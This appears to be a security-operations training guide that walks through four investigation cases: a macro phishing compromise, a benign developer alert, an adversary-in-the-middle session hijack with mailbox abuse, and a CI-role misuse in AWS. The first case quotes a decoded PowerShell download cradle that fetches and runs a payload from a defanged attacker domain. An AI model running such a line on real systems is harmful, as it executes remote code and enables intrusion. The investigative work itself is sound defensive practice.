Uncover working example

Step 1. Endpoint telemetry

EDR for laptop-finance-09 over the 72-hour window. The Outlook → winword.exe → cmd → PowerShell chain is confirmed. The encoded command decodes to a download cradle pulling a second-stage payload from invoice-records[.]com/upd. The dropped file lives at %TEMP%\upd.ps1 with SHA-256 captured. No prior PowerShell from this user account; baseline confirms abnormality.

EDR process event, laptop-finance-09, 09:11:41 UTC
chain:   outlook.exe -> winword.exe -> cmd.exe -> powershell.exe
cmdline: powershell.exe -NoP -W Hidden -EncodedCommand SQBFAFgAIAAoAE4AZQB3...
decoded: IEX (New-Object Net.WebClient).DownloadString('https://invoice-records[.]com/upd')

File write, 09:11:44 UTC
path:    C:\Users\dlin\AppData\Local\Temp\upd.ps1
sha256:  captured and recorded in the case file

Mapped to ATT&CK: T1566 (Phishing) → T1059.001 (PowerShell) → T1105 (Ingress Tool Transfer).

Step 2. Network correlation

Proxy logs confirm the HTTPS connection to invoice-records[.]com. WHOIS shows the domain registered 4 days ago; passive DNS shows low prevalence and no prior queries from the environment. Firewall logs show outbound TLS at 09:11:43, matching the EDR network event for the PowerShell process to the second. Self-signed certificate with generic CN. The destination IP is in a hosting provider’s bulletproof range.

09:11:43  laptop-finance-09  dlin  CONNECT invoice-records[.]com:443  allowed  bytes_in=18432
09:11:57  laptop-finance-09  dlin  CONNECT invoice-records[.]com:443  allowed  bytes_in=1102
09:12:29  laptop-finance-09  dlin  CONNECT invoice-records[.]com:443  allowed  bytes_in=1088

whois:       domain created 4 days before the alert
passive DNS: zero prior resolutions from this environment

Mapped to ATT&CK: T1071.001 (Application Layer Protocol: Web Protocols).

Step 3. Identity logs

dlin’s authentication history over the window: normal corporate-network logins, no anomalous geographies, no MFA bypass. However: EDR file-access telemetry shows the PowerShell agent reading the browser’s cookie store at 09:19, and a federated login to the cloud finance platform follows at 09:23. The session rode dlin’s existing SSO state, but it is distinguishable from dlin’s own morning activity: different user-agent string than dlin’s browser, and no matching interactive activity (no window focus, no input events) on the laptop at that moment. That discrimination is what turns “a login happened” into evidence. The 4-week extended look at dlin’s account that Scope ordered also closes here: no earlier anomalous logins, no unfamiliar consent grants, no staging activity. The extended window is recorded as checked and clean.

EDR file-access event, 09:19:12 UTC
process: powershell.exe (the upd.ps1 agent)
read:    ...\User Data\Default\Network\Cookies   (browser cookie store)

Cloud finance platform, federated sign-in, 09:23:07 UTC
principal:  dlin          session: existing SSO state, no new MFA prompt
user_agent: does not match dlin's browser (compared against the morning's sign-ins)
laptop interactive activity at 09:23: none (no window focus, no input events)

Mapped to ATT&CK: T1539 (Steal Web Session Cookie) → T1550.004 (Use Alternate Authentication Material: Web Session Cookie).

Step 4. Mail and SaaS

Mailbox audit confirms the originating email: vendor-themed subject, a ZIP attachment carrying a macro-laden Word document (a container chosen because many third-party extractors do not propagate the Mark of the Web, though Windows Explorer does; here the extracted document carried no mark, so Microsoft’s default macro block never engaged). Three other recipients in the finance team received the same email; two opened it. EDR on those two hosts is queried; one shows the same Outlook → winword.exe → cmd → PowerShell chain. Cloud finance platform logs (vendor-provided, requested during Scope) show no in-app activity beyond the federated login.

Mailbox audit, message trace
subject:     Overdue invoice: remittance required
from:        accounts@invoice-records[.]com
attachment:  invoice.zip -> invoice.doc (macro-enabled; extracted without Mark of the Web)
recipients:  dlin + 3 finance-team members
opened:      dlin (09:10) and 2 of the 3 peers
peer EDR:    1 of the 2 shows the same winword -> cmd -> PowerShell chain

Mapped to ATT&CK: T1566.001 (Spearphishing Attachment).

What a less experienced analyst could miss: the second opener. Two peers opened the attachment and only one shows the execution chain, and it is tempting to file the other as clean. Absence of the chain is not evidence of safety until the absence is explained: was the macro blocked, did the payload fail, or is EDR on that host simply not reporting? “Checked, no chain, sensor healthy, macro block confirmed” is a finding. “No alert from that host” is a gap wearing a verdict’s clothes.

Step 5. Map to ATT&CK and finalize the narrative

The complete chain:

T1566.001  Spearphishing attachment delivered to 4 finance team users
T1204.002  User execution: 2 users opened the document
T1059.001  PowerShell execution invoked from macro
T1105      Ingress tool transfer: second-stage payload pulled from external domain
T1071.001  Outbound HTTPS to attacker-controlled domain
T1539      Browser session cookies read from the compromised host
T1550.004  Stolen web session cookie replayed for federated access to cloud finance platform

Two confirmed compromises (the original alert host plus one peer). No evidence of in-app activity yet on the cloud platform, but the federated login is the lateral-movement signal.

Uncover ends by packaging five artifacts for Risk: the evidence chain (the timestamped, ATT&CK-mapped narrative above), the confirmed entities (two compromised hosts, the users, the cloud identity, each verdict with its supporting evidence), the intelligence context (the dropper hash matches a known campaign at medium confidence; the C2 domain is new), the coverage gaps (cloud-platform in-app activity pending from the vendor, BYOD phones invisible), and the detection gaps (the rule fired on one host but missed the identical chain on the peer). The transition page shows the full handoff format.

Step 1. Endpoint telemetry

EDR data from CrowdStrike, scoped to the time window.

• 14:03 UTC. User launched Cursor IDE.
• 14:03–14:04 UTC. ripgrep search for a test string involving a reCAPTCHA token. Consistent with active code work.
• 14:04–14:07 UTC. Multiple git commands: fetch repository content, access to test files in BlockerEmailVerification and BlockerPhoneVerification modules.
• 14:08 UTC. JavaScript test runner configuration, relevant test files loaded.
• 14:08+ UTC. Additional git fetch operations tied to a specific Pull Request. Local branch checked out to feat-migrate-phone-verification-to-flow.

This sequence is a textbook developer workflow on a feature migration. Process tree, command lines, file access all align with the user’s documented role.

Mapped to ATT&CK: nothing in this sequence maps to an attack technique. Worth recording explicitly so the handoff says “behavior is consistent with role” rather than leaving the question open.

Step 2. Network and tooling analysis

Network telemetry over the same window.

• Outbound destinations. Legitimate corporate version-control hosts, internal development services, collaboration tools. All previously seen, all expected for the role.
• Traffic volume and frequency. Consistent with normal development. No unusual transfer volume, no beaconing pattern, no periodic callbacks.
• Protocols and ports. Standard ports for the observed services. No protocol tunneling, no port mismatch indicative of evasion.
• DNS queries. Internal development domains and trusted external services. No DGA-like entropy, no resolutions to known-malicious domains.

The network picture matches the endpoint picture. Nothing here suggests the binary’s TLS-encrypted outbound calls (the original signal that mapped to Empire patterns) were to anything other than the IDE’s documented vendor infrastructure.

Step 3. Tooling coverage gaps

Uncover does not just report what it found. It reports what it could not see.

• CrowdStrike on macOS: active, capturing process execution, file access, network traffic. Primary source, working as expected.
• Native full-packet capture: not available on this macOS configuration. Payload-level inspection of encrypted traffic is therefore not possible from the host’s perspective.
• USB device monitoring: absent. Cannot conclusively rule out offline data movement.
• Persistence mechanisms (LaunchAgents, LaunchDaemons): reviewed via EDR file activity. No new entries during the window.

Step 4. Behavioral correlation against the role baseline

Subject’s analysis already established this user’s baseline as consistent with the activity. Uncover validates that claim with the deeper telemetry.

• Peer comparison. Three other engineers on the same team show similar Cursor process trees and network patterns over the past 30 days. The behavior is not unique to this user.
• Historical workflow. The user’s last 14 days show consistent IDE usage, regular git activity, and the same outbound destinations. The 14:03 sequence is part of a continuous workflow, not a sudden anomaly.
• No persistence created. No new launchd plists, no new login items, no new scheduled tasks. The binary did not attempt to anchor itself to the system.
• No credential access. Keychain access logs show no unusual reads. No new SSH keys, no API token grabs.

Four corroborating sources (peer baseline, individual history, persistence absence, credential absence) all agree with the role-consistent reading.

Step 5. Verdict and handoff

Uncover ends with a structured, defensible verdict.

• Verdict: benign true positive with explicit caveats. Detection axis: correct — the logic flagged a process-behavior pattern that genuinely occurred and overlaps with Empire tradecraft. Disposition axis: benign — the full investigation shows the behavior is consistent with a signed, role-appropriate IDE running in its documented configuration.
• Confidence: high on the binary identity, network destinations, and user behavior. Medium on full coverage due to the macOS PCAP and USB monitoring gaps; mitigated by absence of corroborating signals.
• ATT&CK chain: none. No techniques observed beyond legitimate development activity.
• Detection feedback: the rule that fired is too broad for macOS developer workstations running Electron-based IDEs. A tuned variant that incorporates binary signature, install path, and runtime context would have suppressed this alert. Feature request opened.
• Open question for Risk: are the documented coverage gaps (macOS PCAP, USB) acceptable given the developer-workstation population’s risk profile, or do they warrant additional tooling investment? That is a Risk-phase question, not an Uncover-phase one.

Step 1. The IdP sign-in chain

The identity provider’s logs anchor the whole case. One session ID appears twice, and the two presentations disagree on everything except the account.

IdP sign-in log, rvega
08:47:19  interactive sign-in   corporate laptop   home ASN      MFA: satisfied
08:52:41  (email gateway: click on "shared document" link, verdict pending at click time)
09:03:12  session presented     unknown device     VPS ASN       MFA: none (token reuse)
          same session ID as 08:47   fingerprint mismatch   geo: different country

The join is the session ID; the evidence is the mismatch riding on it. No authentication ceremony at 09:03 means the attacker did not log in. They resumed. Confidence: confirmed on token reuse (single-source but structurally unambiguous), corroborated once the tenant audit lines up behind it.

Mapped to ATT&CK: T1566.002 (Spearphishing Link) → T1557 (Adversary-in-the-Middle) → T1539 (Steal Web Session Cookie) → T1550.004 (Web Session Cookie).

Step 2. Tenant audit reconstruction

The unified audit log reconstructs what the attacker did with the session, in order:

Tenant audit log, rvega's mailbox
09:06:55  New-InboxRule  name: "."   move to subscriptions folder + mark read
          conditions: body/subject contains "invoice", "payment", "bank"
09:09:30  Consent granted  app: "Mail Backup Sync"  publisher: unverified
          scopes: offline mailbox read
09:14-09:26  bulk mailbox sync via the consented app (aggregate events; ~1,800 items)
09:18:02  mailbox search: "remittance"   09:18:40  mailbox search: "wire"

Each row lands in the running timeline with its source and confidence. The rule and consent events are confirmed; the sync volume is corroborated but item-level detail is pending the vendor request Scope submitted.

Mapped to ATT&CK: T1564.008 (Email Hiding Rules) → T1528 (Application Access Token, via the forced consent) → T1114.002 (Remote Email Collection).

Step 3. The tenant-wide sweep

Scope bounded the sweep to two queries, run once, deliberately:

• Sessions from the attacker ASN, all users, 14 days: one result. Only rvega’s session ever presented from that network.
• Consent grants to the same app ID, all users, 14 days: one result. Only rvega’s mailbox is granted.
• The second click-through user: the gateway shows her click at 08:54, but the IdP shows no token issuance and no foreign presentation. She abandoned the fake login page before completing MFA. Recorded as checked and clean, with the negative results written down.

The blast radius statement this produces is what Risk and Escalation will lean on: one account, one session, one app grant, zero lateral spread observed, with the queries that support each “zero” named in the case file.

Step 4. App activity and intelligence context

• What the app read. Aggregate sync events cover roughly 1,800 messages including the billing threads. Whether specific payment conversations were opened individually is pending vendor detail; the timeline carries that as an explicit gap row, not an assumption either way.
• The phishing domain. Registered nine days ago, certificate issued the same day, page fingerprint matching a commodity AiTM kit family per current vendor reporting. Medium confidence on the kit identification, high on the infrastructure being purpose-built.
• No outbound mail sent. The audit log shows no messages sent from the mailbox during the attacker window. The BEC play was interrupted at the collection stage, before any payment-redirect message went out.

What a less experienced analyst could miss: where the “no outbound mail” claim has to come from. Checking the Sent Items folder proves nothing, because an attacker who sends a payment-redirect message deletes it from Sent in the same minute. The audit log records the send event regardless of what the mailbox looks like afterward. Negative claims are only as strong as the source that cannot be cleaned up.

Step 5. Map to ATT&CK and trigger the handoff

T1566.002  Spearphishing link delivered to 4 customer-success users
T1557      AiTM proxy captured the session after a legitimate MFA approval
T1539      Web session cookie stolen at the proxy
T1550.004  Cookie replayed from attacker infrastructure at 09:03
T1564.008  Inbox rule "." hiding payment-themed mail from 09:06
T1528      OAuth app consented for standing mailbox access at 09:09
T1114.002  Bulk remote mail collection 09:14-09:26

The chain confirms active compromise with live persistence (the session and the app grant are both still valid). That is an escalation criterion, and per the stopping rules, hitting it ends Uncover now: the open items (vendor detail on app reads, final GDPR determination) transfer to the handoff packet as pending rather than blocking the escalation. Uncover packages the evidence chain, the entity verdicts, the intelligence context, and the named gaps, and the case moves.

Step 1. CloudTrail correlation

Pull the user’s CloudTrail events over the time window plus 7 days of baseline.

• 02:13:58 UTC. sts:GetCallerIdentity from the user. Source IP resolves to a corporate VPN egress.
• 02:14:02 UTC. sts:AssumeRole for arn:aws:iam::<account>:role/ci-data-export, session name local-investigation-2026-05-12.
• 02:14–02:31 UTC. Eight s3:GetObject calls against regulated-pii-bucket, all against keys matching quarterly-export/*.
• Baseline check. The user has assumed other roles regularly, but not ci-data-export. The role is technically assumable by anyone in the data-engineers group; it’s just rarely used outside CI.

Mapped to ATT&CK: T1078.004 Valid Accounts: Cloud Accounts + T1530 Data from Cloud Storage.

Step 2. IdP context

The engineer’s AWS access is federated through IAM Identity Center, so every role session starts at the IdP. Pull the authentication that preceded it.

• SSO login at 02:13:14 UTC, FIDO2 second factor satisfied, registered device matches the user’s laptop.
• No impossible travel signal, same geographic region as their typical sign-in.
• No OAuth consent grant events in the prior 14 days; no new app authorizations.
• No stale-credential indicators: the AWS API calls use credentials minted by this fresh STS session, not a long-lived access key.

The identity surface reads clean, and it is worth being precise about what that buys. It makes the specific patterns checked (impossible travel, consent abuse, old-key reuse) less likely. It does not establish who was at the keyboard, and a fresh STS session is not a non-replayable one: temporary credentials are still credentials, and a session minted seconds ago can be lifted from the engineer’s laptop and replayed from anywhere while it lives. Clean authentication lowers the odds of some compromise paths; it is not evidence of authorization.

Step 3. Bucket access pattern

The actions taken inside the assumed role’s session are what determine whether this matters.

• Eight objects read. All from quarterly-export/. No s3:ListBucket reconnaissance. No traversal into other prefixes.
• No write, no delete. No new objects created. No s3:DeleteObject. No bucket-policy or ACL changes.
• Source check. The session’s source IP is the same corporate VPN throughout. That proves where the API calls came from; it says nothing about where the 120 MB went after it landed on the laptop. Destination is a separate question CloudTrail cannot answer.
• Object size. Total ~120 MB across the eight keys, consistent with quarterly export files. Consistency with an export is not evidence of an authorized export; the same eight files are what a data thief with this role would take.

Step 4. Verdict and gaps

The hypothesis going in was “unexpected role use on regulated data.” The evidence has confirmed the unexpected role use; what it has not done is authorize it:

• Verdict: confirmed policy/control violation, intent and authorization unresolved. A human interactively assumed a role that exists for a CI pipeline and read regulated data with it. That fact does not soften if the human turns out to be well-meaning; the role boundary was crossed either way. The two live hypotheses are “engineer doing quarterly-export work by hand” and “someone or something operating through the engineer’s session,” and nothing gathered so far separates them.
• What the subject’s answer is worth: the on-shift IR opened a quick check and the engineer replied over Slack: manual export, CI was backed up. That answer is a lead to verify, never the verification. If the session is attacker-operated, the DM asks the attacker to vouch for themselves; if the engineer is a malicious insider, it asks the suspect. Contact also carries the tip-off rule: the analyst does not message the subject while compromise is plausibly live, and step 2’s clean identity surface made contact acceptable, not conclusive.
• What closes the case instead: independent evidence on four points. An approved work item or change ticket for a manual export, verified with its owner, not the subject. The data owner’s confirmation that this export, by this person, was authorized. Where the 120 MB went after the laptop and under what retention (the destination CloudTrail cannot show). And device-level confirmation that the session originated from the engineer’s own interactive use. Until those land, the case stays open at its original priority.
• Loose end chased: the role session was named local-investigation-2026-05-12, which does not describe export work. The engineer’s answer: a reused shell helper stamps that session name by default. Plausible, and checkable against the helper’s repo, because a session name that misdescribes its own activity is also a cheap attacker disguise.
• Confidence: high that the access occurred as reconstructed; low-to-medium on the benign explanation until the independent authorization and destination evidence arrives. The subject’s own confirmation moves the second number very little.
• Coverage gaps: the S3 data-events trail is on for regulated-pii-bucket; it would NOT be on for buckets without explicit data-event logging. This is a detection-engineering note, not a blocker for this case.
• Detection feedback: the alert did exactly its job: it caught a human using an automation-only role against regulated data, which is a real control violation even in the benign-explanation branch. The correct tuning is to tag roles like ci-data-export “automation-only” so manual assumption fires with that context attached, at urgency this event keeps earning. Downgrading this signal to informational because one case ended benign would tune away the only high-signal detection on that boundary.

This is what Uncover looks like when the case is cloud-anchored: same methodology, different sources (CloudTrail, IdP logs, S3 data events), same standard of evidence. And the standard is the point: a confirmed control violation with a friendly explanation is still a confirmed control violation until someone other than the subject authorizes it.